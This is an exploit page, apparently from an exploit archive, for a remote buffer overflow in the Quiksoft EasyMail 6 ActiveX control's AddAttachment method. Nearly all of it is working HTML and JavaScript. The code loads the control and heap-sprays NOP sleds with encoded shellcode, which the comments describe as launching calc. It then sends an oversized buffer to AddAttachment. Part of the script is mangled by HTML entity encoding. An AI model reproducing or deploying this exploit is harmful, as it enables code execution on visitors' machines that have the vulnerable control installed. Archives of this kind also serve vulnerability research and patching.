Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit

2009-09-1700:00:00

vulners.com

<html>
<head>
<!–
– Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit
–
– Its old and the latest version doesn't support this method.
– I was bored and a similar post sparked my interest.
–
– Advisory: http://www.bmgsec.com.au/advisory/48/
–
– Written by:
– bmgsec (bmgsec [at] gmail.com / www.bmgsec.com.au)
– –>
<title>Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit</title>
<object classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9' id='test'></object>
<script language='javascript'>
function str_repeat ( input, multiplier ) {
return new Array(multiplier+1).join(input);
}

   //windows/exec CMD: calc Size: 144 bytes Encoder: x86/shikata_ga_nai ExitFunc: SEH
   shellcode = unescape&#40;&quot;&#37;uc931&#37;u1eb1&#37;ue2b8&#37;udc1f&#37;ud9cc&#37;ud9e5&#37;u2474&#37;u5bf4&#37;u4331&#37;u830f&#37;ufceb&quot;+
                        &quot;&#37;u4303&#37;ufde9&#37;u3029&#37;u4505&#37;uc9d2&#37;ucdd5&#37;uf597&#37;uad5e&#37;u7e12&#37;ua161&#37;u3196&quot;+
                        &quot;&#37;ub679&#37;uedf6&#37;u2378&#37;u6541&#37;u384e&#37;u9753&#37;ufe9f&#37;ucbcd&#37;u3e5b&#37;u1499&#37;u75a2&quot;+
                        &quot;&#37;u1a6f&#37;u61e6&#37;u2784&#37;u51b2&#37;u2d61&#37;u11df&#37;ue936&#37;ucd1e&#37;u7aaf&#37;u5a2c&#37;u22bb&quot;+
                        &quot;&#37;u5d30&#37;u5750&#37;ud654&#37;u83a7&#37;ub4ed&#37;u5783&#37;u1b2e&#37;ua1fd&#37;uf2d0&#37;uc699&#37;ucb56&quot;+
                        &quot;&#37;u99ea&#37;ua05a&#37;u059d&#37;u3dcf&#37;u3e35&#37;uba86&#37;ufe45&#37;u6af2&#37;u0f22&#37;u8f88&#37;u87ed&quot;+
                        &quot;&#37;u7114&#37;u569b&#37;u7173&#37;u057b&#37;ue11a&#37;ucae7&quot;&#41;;

   bigblock = unescape&#40;&quot;&#37;u9090&#37;u9090&quot;&#41;;
   headersize = 20;
   slackspace = headersize + shellcode.length;

   while &#40;bigblock.length &lt; slackspace&#41;
           bigblock += bigblock;

   fillblock = bigblock.substring&#40;0, slackspace&#41;;
   block = bigblock.substring&#40;0, bigblock.length - slackspace&#41;;

   while &#40;block.length + slackspace &lt; 200000&#41;
           block = block + block + fillblock;

   memory = new Array&#40;&#41;;
   for &#40;i=0; i&lt;500; i++&#41;
           memory[i] = block + shellcode;

   buffer = str_repeat&#40;&#39;A&#39;, 433&#41;;
   buffer += &quot;BBBB&quot;;
   buffer += str_repeat&#40;unescape&#40;&quot;&#37;0b&#37;0b&#37;0b&#37;0b&quot;&#41;, 63&#41;;

   test.AddAttachment&#40;buffer, 1&#41;;

</script>
</head>
</html>

JSON

Quiksoft EasyMail 6 &#40;AddAttachment&#41; Remote Buffer Overflow Exploit

Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit